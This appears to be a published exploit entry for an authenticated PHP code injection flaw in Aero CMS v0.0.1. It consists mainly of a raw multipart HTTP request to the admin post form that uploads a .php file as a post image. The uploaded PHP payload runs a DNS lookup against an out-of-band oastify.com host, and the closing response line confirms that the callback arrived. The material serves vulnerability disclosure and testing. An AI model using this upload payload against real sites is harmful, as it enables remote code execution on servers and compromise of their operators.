Aero CMS v0.0.1 - PHP Code Injection (auth)

# Exploit Title: Aero CMS v0.0.1 - PHP Code Injection (auth)
# Date: 15/10/2022
# Exploit Author: Hubert Wojciechowski
# Contact Author: [email protected]
# Vendor Homepage: https://github.com/MegaTKC/AeroCMS
# Software Link: https://github.com/MegaTKC/AeroCMS
# Version: 0.0.1
# Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23

## Example 
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Param: image content uploading image
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Req
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POST /AeroCMS-master/admin/posts.php?source=add_post HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------369779619541997471051134453116
Content-Length: 1156
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/AeroCMS-master/admin/posts.php?source=add_post
Cookie: phpwcmsBELang=en; homeMaxCntParts=10; homeCntType=24; PHPSESSID=k3a5d2usjb00cd7hpoii0qgj75
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------369779619541997471051134453116
Content-Disposition: form-data; name="post_title"

mmmmmmmmmmmmmmmmm
-----------------------------369779619541997471051134453116
Content-Disposition: form-data; name="post_category_id"

1
-----------------------------369779619541997471051134453116
Content-Disposition: form-data; name="post_user"

admin
-----------------------------369779619541997471051134453116
Content-Disposition: form-data; name="post_status"

draft
-----------------------------369779619541997471051134453116
Content-Disposition: form-data; name="image"; filename="at8vapghhb.php"
Content-Type: text/plain

<?php printf("bh3gr8e32s".(7*6)."ci4hs9f43t");gethostbyname("48at8vapghhbnm0uo4sx5ox8izoxcu0mzarxmlb.oasti"."fy.com");?>
-----------------------------369779619541997471051134453116
Content-Disposition: form-data; name="post_tags"


-----------------------------369779619541997471051134453116
Content-Disposition: form-data; name="post_content"

<p>mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm</p>
-----------------------------369779619541997471051134453116
Content-Disposition: form-data; name="create_post"

Publish Post
-----------------------------369779619541997471051134453116--

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Res:
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The Collaborator server received a DNS lookup of type A for the domain name 48at8vapghhbnm0uo4sx5ox8izoxcu0mzarxmlb.oastify.com.